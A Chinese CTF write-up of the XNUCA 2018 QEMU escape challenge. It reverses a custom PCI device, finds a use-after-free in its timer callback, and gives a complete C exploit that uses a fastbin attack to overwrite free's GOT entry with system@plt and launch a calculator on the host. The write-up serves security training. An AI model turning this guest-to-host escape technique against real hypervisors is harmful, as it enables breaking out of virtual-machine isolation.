CTF QEMU 虚拟机逃逸之XNUCA 2018 SSD

熟悉题目

先看启动脚本,那应该就是xnuca设备了

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

./qemu-system-x86_64 \
-initrd ./rootfs.img \
-kernel ./vmlinuz-4.8.0-52-generic \
-append "console=ttyS0 root=/dev/sda oops=panic panic=1" \
-monitor /dev/null \
-m 64M --nographic -L ./dependency/usr/loacl/share/qemu \
-L ./pc-bios \
-nographic \
-device xnuca

启动后直接root登录就可以了,查看pci设备

1
2
3
4
5
6
7
8
# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:11e9

通过查看xnuca_class_init函数,可以知道xnuca对应00:04.0 Class 00ff: 1234:11e9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall xnuca_class_init(__int64 a1)
{
__int64 result; // rax

result = object_class_dynamic_cast_assert(
a1,
"pci-device",
"/mnt/hgfs/Workbench/CTF/xnuca/qemu/hw/misc/xnuca.c",
183LL,
"xnuca_class_init");
*(_QWORD *)(result + 176) = pci_xnuca_realize;
*(_QWORD *)(result + 184) = pci_xnuca_uninit;
*(_WORD *)(result + 208) = 0x1234;
*(_WORD *)(result + 210) = 0x11E9;
*(_BYTE *)(result + 212) = 0;
*(_WORD *)(result + 214) = 0xFF;
return result;
}

代码分析

先看read,就是读取0x9D0和0x9DC偏移的数据

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall xnuca_mmio_read(__int64 State, unsigned __int8 addr)
{
_BYTE v3[12]; // [rsp+20h] [rbp-14h]

*(_DWORD *)&v3[8] = 0;
*(_QWORD *)v3 = addr;
if ( addr == 0x10 )
return *(unsigned int *)(State + 0x9DC);
if ( addr == 0x20 )
*(_QWORD *)&v3[4] = *(unsigned int *)(State + 0x9D0);
return *(_QWORD *)&v3[4];
}

再看write,有3个功能,分别是xnuca_set_timerxnuca_send_requestxnuca_auth

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall xnuca_mmio_write(__int64 State, int addr, unsigned int value, int size)
{
__int64 result; // rax
int v5; // [rsp+10h] [rbp-30h]

v5 = addr;
result = State;
if ( size == 4 || size == 8 )
{
result = (unsigned __int8)addr;
if ( (unsigned __int8)addr == 0x20 )
{
result = xnuca_set_timer(State);
}
else if ( (_DWORD)result == 0x30 )
{
result = xnuca_send_request(
State,
(unsigned __int64)(addr & 0xF00) >> 8,
(unsigned __int64)((unsigned __int16)addr & 0xF000) >> 12,
(v5 & 0xFF0000u) >> 16,
(unsigned __int8)value);
}
else if ( (_DWORD)result == 0x10 )
{
result = xnuca_auth(State, (unsigned int)(char)value);
}
}
return result;
}

先看xnuca_set_timer*(State + 0x9D0)的最低位是1,次低位是0才能进入,逻辑就是初始化了一个计时器,而且处理后将次低位置1了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall xnuca_set_timer(__int64 State)
{
__int64 result; // rax

result = *(_DWORD *)(State + 0x9D0) & 1;
if ( (_DWORD)result )
{
result = *(_DWORD *)(State + 0x9D0) & 2;
if ( !(_DWORD)result )
{
timer_init_ns(State + 0xA00, 0, (__int64)xnuca_timer, State);
result = State;
*(_DWORD *)(State + 0x9D0) |= 2u;
}
}
return result;
}

那么State + 0xA00处是一个QEMUTimer ,计时器到期时要调用xnuca_timer,先看xnuca_timer,可以看到这里free后,没有将指针置空,又是经典堆题放到了qemu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall xnuca_timer(__int64 State)
{
__int64 result; // rax
int v2; // eax
void **v3; // rbx

result = *(_DWORD *)(State + 0x9D0) & 4;
if ( (_DWORD)result )
{
v2 = *(_DWORD *)(State + 0x9EC);
switch ( v2 )
{
case 2:
*(_DWORD *)(*(unsigned int *)(State + 0x9F0)
+ *(_QWORD *)(*(_QWORD *)(State + 0x9E0) + 8LL * *(unsigned int *)(State + 0x9E8))) = *(_DWORD *)(State + 0x9F8);
break;
case 3:
free(*(void **)(*(_QWORD *)(State + 0x9E0) + 8LL * *(unsigned int *)(State + 0x9E8)));
break;
case 1:
v3 = (void **)(*(_QWORD *)(State + 0x9E0) + 8LL * *(unsigned int *)(State + 0x9E8));
*v3 = malloc(*(unsigned int *)(State + 0x9F0));
break;
}
result = State;
*(_DWORD *)(State + 0x9D0) &= 0xFFFFFFFB;
}
return result;
}

其实这样看有点难看,默认符号表没有State结构体,经过一顿查看代码逆向,我自己就新建了一个

1
2
3
4
5
6
7
8
9
10
11
12
13
struct xnucaState
{
_BYTE notuse[2512];
unsigned int cmd_9D0;
_BYTE auth_str[8];
unsigned int count_9DC;
_QWORD heaplist_9E0;
_DWORD offset_9E8;
_DWORD choose_9EC;
_DWORD mallocSize;
_QWORD value_9F8;
_QWORD qemu_timer;
};

再看看,是不是好看多了,那么要进入里面的漏洞代码区域,我们要使cmd_9D0&4 == 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
xnucaState *__fastcall xnuca_timer(xnucaState *State)
{
xnucaState *result; // rax
int v2; // eax
void **v3; // rbx

result = (xnucaState *)(State->cmd_9D0 & 4);
if ( (_DWORD)result )
{
v2 = State->choose_9EC;
switch ( v2 )
{
case 2:
*(_DWORD *)((unsigned int)State->mallocSize
+ *(_QWORD *)(State->heaplist_9E0 + 8LL * (unsigned int)State->offset_9E8)) = State->value_9F8;
break;
case 3:
free(*(void **)(State->heaplist_9E0 + 8LL * (unsigned int)State->offset_9E8));
break;
case 1:
v3 = (void **)(State->heaplist_9E0 + 8LL * (unsigned int)State->offset_9E8);
*v3 = malloc((unsigned int)State->mallocSize);
break;
}
result = State;
State->cmd_9D0 &= 0xFFFFFFFB;
}
return result;
}

继续看xnuca_send_request,就是用来设置各种值的,将timer的超时时间设置成当前时间+10纳秒(根据qemu文档中timer_init_ns是以纳秒为单位初始化计时器),那么就相当于立刻执行,xnuca_timer

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall xnuca_send_request(xnucaState *a1, int a2, int a3, int a4, unsigned int a5)
{
__int64 v5; // rax

a1->offset_9E8 = a2;
a1->choose_9EC = a3;
a1->mallocSize = a4;
a1->value_9F8 = a5;
a1->cmd_9D0 |= 4u;
v5 = qemu_clock_get_ns(1u);
return timer_mod((__int64)&a1->qemu_timer, v5 + 10);
}

最后还有xnuca_auth,就是count_9DC小于4的时候,将我们的value与a1->auth_str中的比较,相等就+1,否则置0,而count_9DC等于5,则将cmd_9D0最低位置1,同事从星将count_9DC置0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
xnucaState *__fastcall xnuca_auth(xnucaState *a1, char a2)
{
xnucaState *result; // rax

if ( a1->count_9DC <= 4 )
{
if ( a1->auth_str[a1->count_9DC] == a2 )
++a1->count_9DC;
else
a1->count_9DC = 0;
}
result = (xnucaState *)a1->count_9DC;
if ( (_DWORD)result == 5 )
{
a1->cmd_9D0 |= 1u;
result = a1;
a1->count_9DC = 0;
}
return result;
}

那么这个auth_str什么时候设置的呢,在pci_xnuca_realize里面,这里初始化了State的各个成员了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall pci_xnuca_realize(xnucaState *a1, __int64 a2)
{
unsigned __int64 v2; // ST38_8
__int64 v3; // ST28_8

v2 = __readfsqword(0x28u);
v3 = *(_QWORD *)&a1->notuse[120];
a1->cmd_9D0 = 0;
a1->auth_str[0] = 'X';
a1->auth_str[1] = 'n';
a1->auth_str[2] = 'u';
a1->auth_str[3] = 'c';
a1->auth_str[4] = 'a';
a1->count_9DC = 0;
a1->heaplist_9E0 = &mem_buf;
memset(&a1->offset_9E8, 0, 0x18uLL);
pci_config_set_interrupt_pin_5(v3, 1LL);
memory_region_init_io(&a1->notuse[2272], a1, xnuca_mmio_ops, a1, "xnuca-mmio", 0x10000000LL, a2);
pci_register_bar(a1, 0LL, 0LL, &a1->notuse[2272]);
return __readfsqword(0x28u) ^ v2;
}

漏洞利用

利用思路:通过fastbin attack伪造fd指向free got后,修改free got为system plt的地址,最后调用free即可

这个跟defcon ec3一样,只不过这个有符号,但是给这个加了点限制,才能进入漏洞代码:

1、首先调用xnuca_timer,先得调用xnuca_set_timer初始化计时器
2、而进入计时器的初始化,需要State->cmd_9D0 & 1 == 1,那就需要通过xnuca_auth 5次后设置a1->cmd_9D0 |= 1u;
3、最后进入xnuca_timer中的漏洞代码,需要cmd_9D0 & 4 == 1,这个可以通过调用xnuca_send_request设置,不过也得必须调用xnuca_send_request来传递我们的参数

跟defcon ec3不一样的还有malloc的返回值不是0x7fxxxxxxx,所以指向直接fd劫持到got表,修改free了

最终利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
// -*- coding: utf-8 -*-
// @Date : 2020-01-10
// @Author : giantbranch
// @Link : https://www.giantbranch.cn/
// @tags :

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>

// #define MAP_SIZE 4096UL
#define MAP_SIZE 0xfffffff
#define MAP_MASK (MAP_SIZE - 1)


char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";

unsigned char* mmio_base;

unsigned char* getMMIOBase(){

int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if(mmio_base == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_base;
}

void mmio_write(uint64_t addr, uint64_t value, uint32_t size)
{
if (size == 1)
{
*((uint8_t*)(mmio_base + addr)) = value;
}else if (size == 2)
{
*((uint16_t*)(mmio_base + addr)) = value;
}else if (size == 4)
{
*((uint32_t*)(mmio_base + addr)) = value;
}else if (size == 8)
{
*((uint64_t*)(mmio_base + addr)) = value;
}

}

uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}

void xnuca_auth(uint32_t value)
{
mmio_write(0x10, value, 4);
}

void xnuca_set_timer()
{
mmio_write(0x20, 666, 4);
}

void xnuca_send_request(uint32_t index, uint32_t choose, uint32_t mallocSize, uint32_t value, uint32_t size)
{
uint64_t addr = 0x30 | (index << 8) | (choose << 12) | (mallocSize << 16);
mmio_write(addr, value, size);
}

void xnuca_malloc(uint32_t index, uint32_t mallocSize)
{
xnuca_send_request(index, 1, mallocSize, 666, 4);
// 睡眠1微秒,1μs = 1000ns
usleep(1);
}

void xnuca_edit(uint32_t index, uint32_t offset, uint64_t value, uint32_t size)
{
xnuca_send_request(index, 2, offset, value, size);
usleep(1);
}

void xnuca_free(uint32_t index)
{
xnuca_send_request(index, 3, 666, 666, 4);
usleep(1);
}

int main(int argc, char const *argv[])
{
uint64_t system_plt = 0x411420;

getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);


/* 1、xnuca_auth set a1->cmd_9D0 |= 1u;*/
// a1->auth_str[0] = 0x58;
// a1->auth_str[1] = 0x6E;
// a1->auth_str[2] = 0x75;
// a1->auth_str[3] = 0x63;
// a1->auth_str[4] = 0x61;
xnuca_auth(0x58);
xnuca_auth(0x6E);
xnuca_auth(0x75);
xnuca_auth(0x63);
xnuca_auth(0x61);

/*set timer*/
xnuca_set_timer();

//uaf: modify fd
xnuca_malloc(0, 0x30);
xnuca_free(0);
xnuca_edit(0, 0, 0x11b92b2, 8);

// try to get write access
xnuca_malloc(0, 0x30);
xnuca_malloc(1, 0x30);


// // write system_plt to free_got
xnuca_edit(1, 6, system_plt, 4);
xnuca_edit(1, 6+4, 0, 4);

// >>> from pwn import *
// >>> map(hex, unpack_many("gnome-calculator"))
// ['0x6d6f6e67', '0x61632d65', '0x6c75636c', '0x726f7461']
// xnuca_malloc(6, 0x30);
xnuca_edit(0, 0, 0x6d6f6e67, 4);
xnuca_edit(0, 4, 0x61632d65, 4);
xnuca_edit(0, 8, 0x6c75636c, 4);
xnuca_edit(0, 12, 0x726f7461, 4);

xnuca_free(0); // call free —— in fact call system_plt

return 0;
}

最终效果——启动计算器:

打赏专区